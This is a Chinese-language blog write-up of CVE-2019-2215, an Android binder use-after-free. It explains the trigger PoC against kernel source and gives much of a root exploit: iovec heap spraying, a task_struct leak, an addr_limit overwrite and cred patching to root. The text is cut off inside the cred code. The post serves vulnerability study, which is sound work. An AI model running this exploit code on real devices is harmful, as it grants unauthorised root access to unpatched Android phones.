CVE-2019-2215

2023-11-23 12:30
文章标签 2019 cve 2215

本文主要是介绍CVE-2019-2215,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

CVE-2019-2215

复现环境:android 10 kernel: Linux localhost 4.14.150+ arch:x86_64架构

exp只适用于x86(主要是在patch addr_limit上) 其他的架构要根据addr_limit在thread_info或是thread_struct的偏移修改.

漏洞简述

CVE-2019-2215是一个谷歌P0团队发现的与binder驱动相关的安卓内核UAF漏洞,配合内核信息泄漏可以实现任意地址读写,进而可以通过权限提升获取一个root权限的shell。

漏洞分析

主要来根据poc来说明漏洞及其触发

// poc.c#include  #include  #include #include #define BINDER_THREAD_EXIT 0x40046208ulint main() {int fd, epfd;struct epoll_event event = {.events = EPOLLIN};fd = open("/dev/binder", O_RDONLY);epfd = epoll_create(1000);epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);ioctl(fd, BINDER_THREAD_EXIT, NULL);epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);}

首先是第一句

 fd = open("/dev/binder", O_RDONLY);

具体调用的是binder_open

// drivers/android/binder.c 
static const struct file_operations binder_fops = {[...].open = binder_open,[...]};
static int binder_open(struct inode *nodp, struct file *filp){struct binder_proc *proc;[...]proc = kzalloc(sizeof(*proc), GFP_KERNEL);if (proc == NULL)return -ENOMEM;[...]filp->private_data = proc;[...]return 0;}

就是malloc了一个binder_proc数据结构,并将将其分配给filep->private_data

下一句 epoll是用来监控文件的

 epfd = epoll_create(1000);

看一下它的调用链

 SYSCALL_DEFINE1(epoll_create, int, size){if (size <= 0)return -EINVAL;return sys_epoll_create1(0);}

可以看出传递的参数没什么用,之后调用

SYSCALL_DEFINE1(epoll_create1, int, flags){int error, fd;struct eventpoll *ep = NULL;struct file *file;[...]error = ep_alloc(&ep);if (error < 0)return error;[...]file = anon_inode_getfile("[eventpoll]", &eventpoll_fops, ep,O_RDWR | (flags & O_CLOEXEC));[...]ep->file = file;fd_install(fd, file);return fd;[...]return error;}

epoll_create1调用ep_alloc 之后设置ep->file = file 返回文件描述符fd,那重点我们关注ep_alloc

static int ep_alloc(struct eventpoll **pep){int error;struct user_struct *user;struct eventpoll *ep;[...]ep = kzalloc(sizeof(*ep), GFP_KERNEL);[...]init_waitqueue_head(&ep->wq);init_waitqueue_head(&ep->poll_wait);INIT_LIST_HEAD(&ep->rdllist);ep->rbr = RB_ROOT_CACHED;[...]*pep = ep;return 0;[...]return error;}

因为涉及了较多eventpoll里的参数,对此给出eventpoll的结构来说明这是

struct eventpoll {/* Protect the access to this structure */spinlock_t lock;/** This mutex is used to ensure that files are not removed* while epoll is using them. This is held during the event* collection loop, the file cleanup path, the epoll file exit* code and the ctl operations.*/struct mutex mtx;/* Wait queue used by sys_epoll_wait() */wait_queue_head_t wq;/* Wait queue used by file->poll() */wait_queue_head_t poll_wait;/* List of ready file descriptors */struct list_head rdllist;/* RB tree root used to store monitored fd structs */struct rb_root_cached rbr;/** This is a single linked list that chains all the "struct epitem" that* happened while transferring ready events to userspace w/out* holding ->lock.*/struct epitem *ovflist;/* wakeup_source used when ep_scan_ready_list is running */struct wakeup_source *ws;/* The user that created the eventpoll descriptor */struct user_struct *user;struct file *file;/* used to optimize loop detection check */int visited;struct list_head visited_list_link;#ifdef CONFIG_NET_RX_BUSY_POLL/* used to track busy poll napi_id */unsigned int napi_id;
#endif
};

可以看出在epoll_alloc中 分配struct eventpoll,初始化等待队列 wq和poll_wait成员,初始化rbr成员,该成员是红黑树的根,wq是漏洞触发的关键,在此具体说明是怎么样初始化的

这是wait_queue_head_t的结构

//include/linux/wait.hstruct __wait_queue_head {spinlock_t		lock; //这是锁,可以先不管,不过要明白它是4个字节的struct list_head	task_list;//是个双向链表
};// 
struct list_head {struct list_head *next, *prev;};

这是init_waitqueue_head函数

#define init_waitqueue_head(q)				\do {						\static struct lock_class_key __key;	\\__init_waitqueue_head((q), #q, &__key);	\} while (0)__init_waitqueue_head(wait_queue_head_t *q, const char *name, struct lock_class_key *key)
{	spin_lock_init(&q->lock);lockdep_set_class_and_name(&q->lock, key, name);INIT_LIST_HEAD(&q->task_list);
}EXPORT_SYMBOL(__init_waitqueue_head);static inline void INIT_LIST_HEAD(struct list_head *list)
{list->next = list;list->prev = list;
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AuKgsxMe-1644394151937)(wait.png)]

首尾相连,在内存中表现是这样的,前一个是next,后一个是prev,就是指向它自己

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Kb1PTZRZ-1644394151939)(init_wq.png)]

后面来看下一句

epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
SYSCALL_DEFINE4(epoll_ctl, int, epfd, int, op, int, fd,struct epoll_event __user *, event){int error;int full_check = 0;struct fd f, tf;struct eventpoll *ep;struct epitem *epi;struct epoll_event epds;struct eventpoll *tep = NULL;error = -EFAULT;if (ep_op_has_event(op) &&copy_from_user(&epds, event, sizeof(struct epoll_event)))goto error_return;error = -EBADF;f = fdget(epfd);if (!f.file)goto error_return;/* Get the "struct file *" for the target file */tf = fdget(fd);if (!tf.file)goto error_fput;[...]ep = f.file->private_data;[...]epi = ep_find(ep, tf.file, fd);error = -EINVAL;switch (op) {case EPOLL_CTL_ADD:if (!epi) {epds.events |= POLLERR | POLLHUP;error = ep_insert(ep, &epds, tf.file, fd, full_check);} elseerror = -EEXIST;[...][...]}[...]return error;}

将epoll_event结构从用户空间复制到内核空间

· 查找和文件描述符fd对应的file指针epfd

· eventpoll从epoll文件描述符private_data的file指针成员中获取结构的指针epfd

· 调用从存储在与文件描述符匹配的结构中的红黑树节点中ep_find找到指向链接epitem结构的指针eventpoll

· 如果epitem找不到对应的fd,当事件为EPOLL_CTL_ADD则调用ep_insert函数分配并将其链接epitem到eventpoll结构的rbr成员

接着来看一下ep_insert

 static int ep_insert(struct eventpoll *ep, struct epoll_event *event,struct file *tfile, int fd, int full_check){int error, revents, pwake = 0;unsigned long flags;long user_watches;struct epitem *epi;struct ep_pqueue epq;[...]if (!(epi = kmem_cache_alloc(epi_cache, GFP_KERNEL)))return -ENOMEM;/* Item initialization follow here ... */INIT_LIST_HEAD(&epi->rdllink);INIT_LIST_HEAD(&epi->fllink);INIT_LIST_HEAD(&epi->pwqlist);epi->ep = ep;ep_set_ffd(&epi->ffd, tfile, fd);epi->event = *event;[...]/* Initialize the poll table using the queue callback */epq.epi = epi;init_poll_funcptr(&epq.pt, ep_ptable_queue_proc);[...]revents = ep_item_poll(epi, &epq.pt);[...]ep_rbtree_insert(ep, epi);[...]return 0;[...]return error;}

· 分配一个临时结构 ep_pqueue

· 分配epitem结构并将其初始化

· 初始化epi->pwqlist用于链接轮询等待队列的成员

· 设置epitem结构成员ffd->file = file,在我们的例子中,ffd->fd = fd它是file通过调用绑定器的结构指针和描述符ep_set_ffd

· 设置epq.epi为epi指针

· 设置epq.pt->_qproc为ep_ptable_queue_proc 回调地址

· 调用ep_item_poll传递epi和epq.pt(轮询表)的地址作为参数

· 最后,通过调用函数epitem将eventpoll结构链接到结构的红黑树根节点ep_rbtree_insert

让我们跟随ep_item_poll并找出它的作用。

 static inline unsigned int ep_item_poll(struct epitem *epi, poll_table *pt){pt->_key = epi->event.events;return epi->ffd.file->f_op->poll(epi->ffd.file, pt) & epi->event.events;}

这个就是调用binder_poll函数,在内存表现是这样的

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

接着查看binder_poll

 static unsigned int binder_poll(struct file *filp,struct poll_table_struct *wait){struct binder_proc *proc = filp->private_data;struct binder_thread *thread = NULL;[...]thread = binder_get_thread(proc);if (!thread)return POLLERR;[...]poll_wait(filp, &thread->wait, wait);[...]return 0;}

· 获取指向binder_proc结构的指针filp->private_data

· 调用binder_get_thread传递binder_proc结构的指针

· 最后调用poll_wait传递联编程序的file结构指针,&thread->wait即wait_queue_head_t指针和poll_table_struct指针

在其中binder_get_thread和 poll_wait是关键,我们先看一下binder_get_thread

 static struct binder_thread *binder_get_thread(struct binder_proc *proc){struct binder_thread *thread;struct binder_thread *new_thread;[...]thread = binder_get_thread_ilocked(proc, NULL);[...]if (!thread) {new_thread = kzalloc(sizeof(*thread), GFP_KERNEL);[...]thread = binder_get_thread_ilocked(proc, new_thread);[...]}return thread;}

· 尝试通过调用获取binder_threadifproc->threads.rb_node``binder_get_thread_ilocked

· 否则它分配一个binder_thread结构

· 最后binder_get_thread_ilocked再次调用,这将初始化新分配的binder_thread结构并将其链接到proc->threads.rb_node基本上是红黑树节点的成员

struct binder_thread {struct binder_proc *proc;struct rb_node rb_node;struct list_head waiting_thread_node;int pid;int looper;              /* only modified by this thread */bool looper_need_return; /* can be written by other thread */struct binder_transaction *transaction_stack;struct list_head todo;bool process_todo;struct binder_error return_error;struct binder_error reply_error;wait_queue_head_t wait; //wait的初始化和epoll->wait是一样的 uaf的触发点 struct binder_stats stats;atomic_t tmp_ref;bool is_dead;struct task_struct *task;//exp利用的重点
};

在这里插入图片描述

对于poll_wait 它实际上调用的是ep_insert中初始化的ep_ptable_queue_proc,这里是uaf的第2个关键步骤

 static void ep_ptable_queue_proc(struct file *file, wait_queue_head_t *whead,poll_table *pt){struct epitem *epi = ep_item_from_epqueue(pt);struct eppoll_entry *pwq;if (epi->nwait >= 0 && (pwq = kmem_cache_alloc(pwq_cache, GFP_KERNEL))) {init_waitqueue_func_entry(&pwq->wait, ep_poll_callback);pwq->whead = whead;//将binder_thread->wait付给了pwq->wheadpwq->base = epi;if (epi->event.events & EPOLLEXCLUSIVE)add_wait_queue_exclusive(whead, &pwq->wait);elseadd_wait_queue(whead, &pwq->wait);list_add_tail(&pwq->llink, &epi->pwqlist);epi->nwait++;} else {/* We have to signal that an error occurred */epi->nwait = -1;}}

· 通过调用函数epitem从结构获取指针poll_table``ep_item_from_epqueue

· 分配eppoll_entry结构并初始化其成员

· 将structure whead成员设置eppoll_entry为所wait_queue_head_t传递的结构的指针binder_poll,基本上是指向binder_thread->wait

· 通过调用链接whead(binder_thread->wait)add_wait_queue

其中的add_wait_queue是触发uaf的关键步骤,就此来详细说明

对于add_wait_queue来说,第一个参数是binder_thread->wait,就是首尾相连的双向链表,第二个参数,先来看一下数据结构(这个是eventpoll的)

 struct eppoll_entry {/* List header used to link this structure to the "struct epitem" */struct list_head llink;/* The "base" pointer is set to the container "struct epitem" */struct epitem *base;在执行取消链接操作之前,remove_wait_queue尝试获取自旋锁。如果值不是0,则线程将继续循环,并且永远不会发生取消链接操作。由于iov_base是一个64位的值,我们希望确保低32位是0/** Wait queue item that will be linked to the target file wait* queue head.*/wait_queue_entry_t wait;/* The wait queue head that linked the "wait" wait queue item */wait_queue_head_t *whead;};struct wait_queue_entry {unsigned int        flags;void            *private;wait_queue_func_t    func;struct list_head    entry;
};

接着我们进入函数

在这里插入图片描述

执行完后就变这样了,最后那个应该是task_list.prev

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说白了就是将eventpoll里面结构的一个节点连接到binder_thread的双向链表上面去

在内存中表现为 wait在binder_thread的+0xa0的偏移

在这里插入图片描述

binder_thread->wait->list_head 的next prev全都宾的指向0xffff888047797c60

而0xffff888047797c60 储存的是0xffff88800358a930 0xffff88800358a930

poc下一句话

 ioctl(fd, BINDER_THREAD_EXIT, NULL);

当调用ioctl 参数为BINDER_THREAD_EXIT时

static long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{int ret;struct binder_proc *proc = filp->private_data;struct binder_thread *thread;unsigned int size = _IOC_SIZE(cmd);
......case BINDER_THREAD_EXIT:binder_debug(BINDER_DEBUG_THREADS, "%d:%d exit\n",proc->pid, thread->pid);binder_thread_release(proc, thread);thread = NULL;break;
......
}
static int binder_thread_release(struct binder_proc *proc,struct binder_thread *thread)
{
......
if (send_reply)binder_send_failed_reply(send_reply, BR_DEAD_REPLY);binder_release_work(proc, &thread->todo);binder_thread_dec_tmpref(thread);return active_transactions;
......
}
/
static void binder_thread_dec_tmpref(struct binder_thread *thread)
{
......binder_free_thread(thread);return;}
......
}
///
static void binder_free_thread(struct binder_thread *thread)
{BUG_ON(!list_empty(&thread->todo));binder_stats_deleted(BINDER_STAT_THREAD);binder_proc_dec_tmpref(thread->proc);put_task_struct(thread->task);kfree(thread);}

实际上主要的是kfree了binder_thread

最后一句触发了uaf

epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);

当参数为EPOLL_CTL_DEL时epoll_ctl会调用ep_remove

 static int ep_remove(struct eventpoll *ep, struct epitem *epi){[...]ep_unregister_pollwait(ep, epi);[...]return 0;}

调用ep_unregister_pollwait传递指向eventpoll和epitem结构的指针作为参数的函数

static void ep_unregister_pollwait(struct eventpoll *ep, struct epitem *epi)
{struct list_head *lsthead = &epi->pwqlist;struct eppoll_entry *pwq;while (!list_empty(lsthead)) {pwq = list_first_entry(lsthead, struct eppoll_entry, llink);list_del(&pwq->llink);ep_remove_wait_queue(pwq);kmem_cache_free(pwq_cache, pwq);}
}
static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
......    whead = smp_load_acquire(&pwq->whead);if (whead)remove_wait_queue(whead, &pwq->wait);//whead是binder_thread的wait 然而binder_thread已经free了,&pwq->wait是ep_ptable_queue_proc申请的那个
......
}void remove_wait_queue(wait_queue_head_t *q,wait_queue_t *wait)
{
......__remove_wait_queue(q, wait);
......
}
static inline void __remove_wait_queue(wait_queue_head_t *head,wait_queue_t *old)
{       list_del(&old->task_list);
}
static inline void list_del(struct list_head *entry){   __list_del(entry->prev,entry->next);   entry->next = LIST_POISON1;      entry->prev = LIST_POSION2;
}
static inline void __list_del(struct list_head *prev,struct list_head *next){   next->prev=prev; //触发了uaf       WRITE_ONCE(prev->next,next);//触发了uaf
}

next->prev在已经free的binder_thread内部,而prev存放则是binder_thread->wait的地址,因为ep_ptable_queue_proc中将ep的节点加到了binder_thread->wait的所造成的,经过这个之后,结构变如下

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其中wait_queue_head_t wait是已经free的binder_thread内部的,而wait_queue_t是eventpoll的.

由此漏洞的触发说明完毕,总结一下就是

· epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);将eventpoll的节点加入到binder_thread的双向链表中

· ioctl(fd, BINDER_THREAD_EXIT, NULL);将binder_thread给free掉

· epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event); 在已经free的binder_thread内部 将wait恢复原状,也就是重新首尾相连

binder_thread的wait在binder_thread偏移0xa0的地方

还没free但是已经link后的binder_thread的内存构造

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这是unlink后就是epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event); 后

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漏洞利用

前置知识

利用的重点在于用iovec这个结构体去占位释放的binder_thread,就先来介绍一下iovec结构和readv和writev堆喷

 struct iovec{void __user *iov_base;    /* BSD uses caddr_t (1003.1g requires void *) */__kernel_size_t iov_len; /* Must be size_t (1003.1g) */};

· 体积小,在x64位系统上,大小为0x10字节

· 我们可以控制所有成员iov_base,iov_len

· 我们可以将它们堆叠在一起以控制所需的kmalloc缓存

· 它有一个指针指向缓冲区,这是一个比较好的利用条件

接下来查看一下writev系统调用源码,搞清楚如何使用iovec结构

SYSCALL_DEFINE3(writev, unsigned long, fd, const struct iovec __user *, vec,unsigned long, vlen){return do_writev(fd, vec, vlen, 0);}static ssize_t do_writev(unsigned long fd, const struct iovec __user *vec,unsigned long vlen, rwf_t flags){struct fd f = fdget_pos(fd);ssize_t ret = -EBADF;if (f.file) {[...]ret = vfs_writev(f.file, vec, vlen, &pos, flags);[...]}[...]return ret;}static ssize_t vfs_writev(struct file *file, const struct iovec __user *vec,unsigned long vlen, loff_t *pos, rwf_t flags){struct iovec iovstack[UIO_FASTIOV];struct iovec *iov = iovstack;struct iov_iter iter;ssize_t ret;ret = import_iovec(WRITE, vec, vlen, ARRAY_SIZE(iovstack), &iov, &iter);if (ret >= 0) {[...]ret = do_iter_write(file, &iter, pos, flags);[...]}return ret;}

· writev指针iovec从用户空间到函数do_writev

· do_writev通过vfs_writev一些附加参数将相同信息传递给另一个函数

· vfs_writev通过import_iovec一些附加参数将相同信息传递给另一个函数

 int import_iovec(int type, const struct iovec __user * uvector,unsigned nr_segs, unsigned fast_segs,struct iovec **iov, struct iov_iter *i){ssize_t n;struct iovec *p;n = rw_copy_check_uvector(type, uvector, nr_segs, fast_segs,*iov, &p);[...]iov_iter_init(i, type, p, nr_segs, n);*iov = p == *iov ? NULL : p;return 0;}

· import_iovec通过一些其他参数将相同的信息传递iovec给另一个函数rw_copy_check_uvector

· iovec通过调用来初始化内核结构栈iov_iter_init

 ssize_t rw_copy_check_uvector(int type, const struct iovec __user * uvector,unsigned long nr_segs, unsigned long fast_segs,struct iovec *fast_pointer,struct iovec **ret_pointer){unsigned long seg;ssize_t ret;struct iovec *iov = fast_pointer;[...]  if (nr_segs > fast_segs) {iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL); //writev 堆喷的重点[...]}if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) {//将我们用户态的内容iovc拷贝到内核态[...]}[...]ret = 0;for (seg = 0; seg < nr_segs; seg++) {void __user *buf = iov[seg].iov_base;ssize_t len = (ssize_t)iov[seg].iov_len;[...]if (type >= 0&& unlikely(!access_ok(vrfy_dir(type), buf, len))) {[...]}if (len > MAX_RW_COUNT - ret) {len = MAX_RW_COUNT - ret;iov[seg].iov_len = len;}ret += len;}[...]return ret;}

· rw_copy_check_uvector 分配内核空间内存并通过执行以下操作计算分配的 nr_segs*sizeof(struct iovec) 大小

· 在这里,nr_segs等于iovec我们从用户空间传递的结构堆栈中的计数

· 通过调用函数将iovec结构堆栈从用户空间复制到新分配的内核空间copy_from_user。

· iov_base通过调用access_ok函数来验证指针是否有效。

泄露task_struct

注意到在binder_thread中存在task_struct,关键是想方法泄露task_struct

struct binder_thread {struct binder_proc *proc;struct rb_node rb_node;struct list_head waiting_thread_node;int pid;int looper;              /* only modified by this thread */bool looper_need_return; /* can be written by other thread */struct binder_transaction *transaction_stack;struct list_head todo;bool process_todo;struct binder_error return_error;struct binder_error reply_error;wait_queue_head_t wait; struct binder_stats stats;atomic_t tmp_ref;bool is_dead;struct task_struct *task;
};

在wrtev中存在

iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL)
copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))

我们可以在free掉binder_thread后喷射到上面前,

binder_thread有408的大小 而iovec有16的大小,408/16 需要构造25个iovec结构在覆盖free掉的binder_thread

而在取消链接时,会将wait->list_head的地址写入free后的binder_thread,破坏到我们的iovec结构,我们就是要根据破坏后填写的地址来进行读取

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KgSpMZdm-1644394151948)(first_binder_thread.png)]

m_4gb_aligned_page为地址0x1000000000 在执行取消链接操作之前,remove_wait_queue尝试获取自旋锁。如果值不是0,则线程将继续循环,并且永远不会发生取消链接操作。由于iov_base是一个64位的值,我们希望确保低32位是0。

关键点在于利用writev pipe readv的堵塞,来读取破坏我们的iovc后填写的地址

   printf("[+] start opening /dev/binder");m_binder_fd = open("/dev/binder",O_RDONLY);if (m_binder_fd < 0) {printf("\t[-] Unable to get binder fd\n");exit(EXIT_FAILURE);} else {printf("\t[*] m_binder_fd: 0x%x\n", m_binder_fd);}printf("[+] Creating event poll\n");m_epoll_fd = epoll_create(1);if (m_epoll_fd < 0) {printf("\t[-] Unable to get event poll fd\n");exit(EXIT_FAILURE);} else {printf("\t[*] m_epoll_fd: 0x%x\n", m_epoll_fd);}printf("[+] setting up the pipe");if(pipe(pipe_fd)== -1){printf("[-] unable create pipe\n");exit(EXIT_FAILURE);}else{printf("create pipe successfully\n");}if(fcntl(pipe_fd[0],F_SETPIPE_SZ,PAGE_SIZE)== -1){printf("[-] Unable to change the pipe capacity\n");exit(EXIT_FAILURE);}else{printf("\t[*] Changed the pipe capacity to: 0x%x\n", PAGE_SIZE);}

首先申请一个binder_fd,evemtpoll的fd,开一个管道,将管道容纳的大小改为PAGE_SIZE(0x1000)

    printf("[+] Setting up iovecs\n");if (!m_4gb_aligned_page) {printf("[+] Mapping 4GB aligned page\n");m_4gb_aligned_page = mmap((void *) 0x100000000ul,PAGE_SIZE,PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS,-1,0);if (!m_4gb_aligned_page) {printf("\t[-] Unable to mmap 4GB aligned page\n");exit(EXIT_FAILURE);} else {printf("\t[*] Mapped page: %p\n", m_4gb_aligned_page);}}iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;iovecStack[IOVEC_WQ_INDEX].iov_len = PAGE_SIZE;iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141;iovecStack[IOVEC_WQ_INDEX + 1].iov_len = PAGE_SIZE;printf("[+] Linking eppoll_entry->wait.entry to binder_thread->wait.head\n");epoll_ctl(m_epoll_fd, EPOLL_CTL_ADD, m_binder_fd, &m_epoll_event);

接着填写覆盖掉binder_thread的iovc,以及将epoll的节点链接到binder_thread上面去

  printf("[+] Freeing binder_thread\n");ioctl(m_binder_fd, BINDER_THREAD_EXIT, NULL);ssize_t nBytesWritten =  writev(pipe_fd[1],iovecStack,IOVEC_COUNT);

之后主线程free掉binder_thread,调用witev 喷射到free后的binder_thread上面去,并将我们的iovc覆盖了free后的binder_thread,

接着根据我们的iovc向管道写数据,在第IOVEC_WQ_INDEX(也就是10)个iovc时堵塞,因为之前将管道大小设为0x1000,在m_4gb_aligned_page读取0x1000数据,写入管道后,管道堵塞,

接着执行子线程

if(childPid == 0){sleep(2);printf("[+] Un-linking eppoll_entry->wait.entry from binder_thread->wait.head\n");epoll_ctl(m_epoll_fd, EPOLL_CTL_DEL, m_binder_fd, &m_epoll_event);nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));if (nBytesRead != PAGE_SIZE) {printf("\t[-] CHILD: read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE);exit(EXIT_FAILURE);}exit(EXIT_SUCCESS);}

sleep(2);是为了等主线程执行完上述步骤

epoll_ctl(m_epoll_fd, EPOLL_CTL_DEL, m_binder_fd, &m_epoll_event);破坏掉我们的iovc,将iovecStack[IOVEC_WQ_INDEX].iov_len,iovecStack[IOVEC_WQ_INDEX + 1].iov_base改为wait.head.next原本在binder_thread的地址

nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));解除阻塞,返回到主线程

 ssize_t nBytesWritten =  writev(pipe_fd[1],iovecStack,IOVEC_COUNT);

继续执行writev, iovecStack[IOVEC_WQ_INDEX]已经写入管道,并在子线程中读取了,管道清空,接着执行 iovecStack[IOVEC_WQ_INDEX+1],注意这里的iovecStack[IOVEC_WQ_INDEX+1].base已经改为了wait.head.next原本在binder_thread的地址,因此会将wait.head.next原本在binder_thread的地址开始的剩余内容写入管道

 if(nBytesWritten == 0x2000){printf("[+] write 0x2000 word\n");}else{printf("[-]writev failed. nBytesWritten: 0x%lx, expected: 0x%x\n", nBytesWritten, PAGE_SIZE * 2);exit(1);}nBytesRead = read(pipe_fd[0], dataBuffer, sizeof(dataBuffer));if (nBytesRead != PAGE_SIZE) {printf("\t[-] read failed. nBytesRead: 0x%lx, expected: 0x%x", nBytesRead, PAGE_SIZE);exit(EXIT_FAILURE);}//// Wait for the child process to exit//wait(nullptr);m_task_struct = (struct task_struct *) *((int64_t *) (dataBuffer + TASK_STRUCT_OFFSET_IN_LEAKED_DATA));m_pidAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, pid));m_credAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, cred));m_nsproxyAddress = (void *) ((int8_t *) m_task_struct + offsetof(struct task_struct, nsproxy));printf("[+] Leaked task_struct: %p\n", m_task_struct);printf("\t[*] &task_struct->pid: %p\n", m_pidAddress);printf("\t[*] &task_struct->cred: %p\n", m_credAddress);printf("\t[*] &task_struct->nsproxy: %p\n", m_nsproxyAddress);

接着就是从管道读取binder_thread的剩余内容,从而泄露出task_struct的地址

修改addr_limit

在x86的task_struct中存在thread_struct x86的addr_limit是放在thread_struct的

struct task_struct {
...struct thread_struct		thread;/** WARNING: on x86, 'thread_struct' contains a variable-sized* structure.  It *MUST* be at the end of 'task_struct'.** Do not put anything below here!*/
};
struct thread_struct {...mm_segment_t		addr_limit;unsigned int		sig_on_uaccess_err:1;unsigned int		uaccess_err:1;	/* uaccess failed *//* Floating point and extended processor state */struct fpu		fpu;/** WARNING: 'fpu' is dynamically-sized.  It *MUST* be at* the end.*/
};

而在thread_struct中有addr_limit,因而我们可以根据addr_limit在task_struct的偏移来修改addr_limit,同样用泄露task_struct的方法来写入addr_limit,但是io的堵塞 readv做不到,得换成recvmsg sendmsg socket,来堵塞io

接着来说明步骤如何patch掉addr_limit

if(socketpair(AF_UNIX,SOCK_STREAM,0,sock_fd) == -1){printf("[-]can not create socketpair\n");exit(EXIT_FAILURE);}else{printf("[+] created socketpair successfully\n");}printf("[+] writing junkcode to socket\n");static char junkSocketData[] = { 0x41  };nBytesWritten = write(sock_fd[1],&junkSocketData, sizeof(junkSocketData));if(nBytesWritten != sizeof(junkSocketData)){printf("[-] write junkcode failed , writed %lx, expected %lx",nBytesWritten,sizeof(junkSocketData));exit(EXIT_FAILURE);}

申请一个socket,并向socket中填充一个垃圾数据

   m_binder_fd = open("/dev/binder",O_RDONLY);if(m_binder_fd < 0){printf("[-] can not open /dev/binder\n");exit(EXIT_FAILURE);}else{printf("[+] open /dev/binder successfully m_binder_fd= %d \n",m_binder_fd);}printf("[+] start opening epollevent\n");m_epoll_fd = epoll_create(1);if(m_epoll_fd < 0){printf("[-] can not create eventpoll\n");exit(EXIT_FAILURE);}else{printf("[+] create eventpoll successfully m_epoll_fd = %d \n",m_epoll_fd);}printf("[+] Setting up socket \n");

申请binder的fd eventpoll的fd

    iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;iovecStack[IOVEC_WQ_INDEX].iov_len = 1;iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *)0x41414141;iovecStack[IOVEC_WQ_INDEX + 1].iov_len = 0x8 + 0x8 + 0x8 +0x8;iovecStack[IOVEC_WQ_INDEX + 2].iov_base = (void *)0x42424242;iovecStack[IOVEC_WQ_INDEX + 2].iov_len = 0x8;static uint64_t FinalSocketData[] = {0x1,0x41414141,0x8+0x8+0x8+0x8,(uint64_t) ((uint8_t *) m_task_struct +OFFSET_TASK_STRUCT_ADDR_LIMIT),//addr_limit的地址0xfffffffffffffffe};message.msg_iov = iovecStack;message.msg_iovlen = IOVEC_COUNT;printf("[+] linking eppoll_entry->wait.entry to binder_thread->wait.head \n");epoll_ctl(m_epoll_fd,EPOLL_CTL_ADD,m_binder_fd, &m_epoll_event);

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3fXOT34l-1644394151949)(second_binder.png)]

填写我们的iovc,然后将eventpoll链接到binder_thread上面去

 printf("[+] Freeing binder_thread \n");ioctl(m_binder_fd,BINDER_THREAD_EXIT,NULL);ssize_t nBytesReceived = recvmsg(sock_fd[0],&message,MSG_WAITALL);

接着主线程free掉binder_thread

recvmsg malloc喷射到free的binder_thread上面去,然后将我们的iovc覆盖掉free的binder_thread,接着将之前我们传入的一个字节的垃圾数据写入 m_4gb_aligned_page,然后堵塞了,进行子线程

pid_t childPid = fork();if(childPid == 0){sleep(2);printf("[+] unlinking eppoll_entry->wait.entry from binder_thread->wait.head \n");epoll_ctl(m_epoll_fd,EPOLL_CTL_DEL,m_binder_fd, &m_epoll_event);nBytesWritten =  write(sock_fd[1],FinalSocketData,sizeof(FinalSocketData));if(nBytesWritten != sizeof(FinalSocketData)){printf("\t [-]write failed. nBytesWritten : 0x%lx , expected : 0x%lx\n",nBytesWritten,sizeof(FinalSocketData));exit(EXIT_FAILURE);}exit(EXIT_SUCCESS);}

sleep(2);确保主线程执行完上述内容

epoll_ctl破坏掉我们的iovc,将iovecStack[IOVEC_WQ_INDEX].iov_len,iovecStack[IOVEC_WQ_INDEX + 1].iov_base改为wait.head.next原本在binder_thread的地址

write 将FinalSocketData写入socket,此时堵塞解除继续

ssize_t nBytesReceived = recvmsg(sock_fd[0],&message,MSG_WAITALL

由于iovecStack[11].iov_base研究改为wait.head.next原本在binder_thread的地址,因此会在wait.head.next地址出写上0x8+0x8+0x8+0x8的数据,也就是

iovecstack[10].iov_len上填写FinalSocketData[0]

iovecstack[11].iov_base上填写FinalSocketData[1]

iovecstack[11].iov_len上填写FinalSocketData[2]

iovecstack[12].iov_base上填写FinalSocketData[3] 这一步将iovecstack[12].iov_base从原来的0x42424242覆盖成了addr_limit的地址

接着执行iovecStack[12],将FinalSocketData[4]也就是 0xfffffffffffffffe写入addr_limit

由此patch掉了addr_limit

修改cred

知道了task_struct 和修改了addr_limit,因此可以在cred的地址上直接写入0

printf("[+] Patching current task cred members \n");m_cred = (struct cred *)kReadQword(m_credAddress);if(!m_cred){printf("\t [-] Failed to read cred: %p",m_credAddress);exit(EXIT_FAILURE);}printf("\t cred: %p\n",m_cred);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, uid)), GLOBAL_ROOT_UID);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, gid)), GLOBAL_ROOT_GID);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, suid)), GLOBAL_ROOT_UID);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, sgid)), GLOBAL_ROOT_GID);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, euid)), GLOBAL_ROOT_UID);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, egid)), GLOBAL_ROOT_GID);kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, fsuid)), 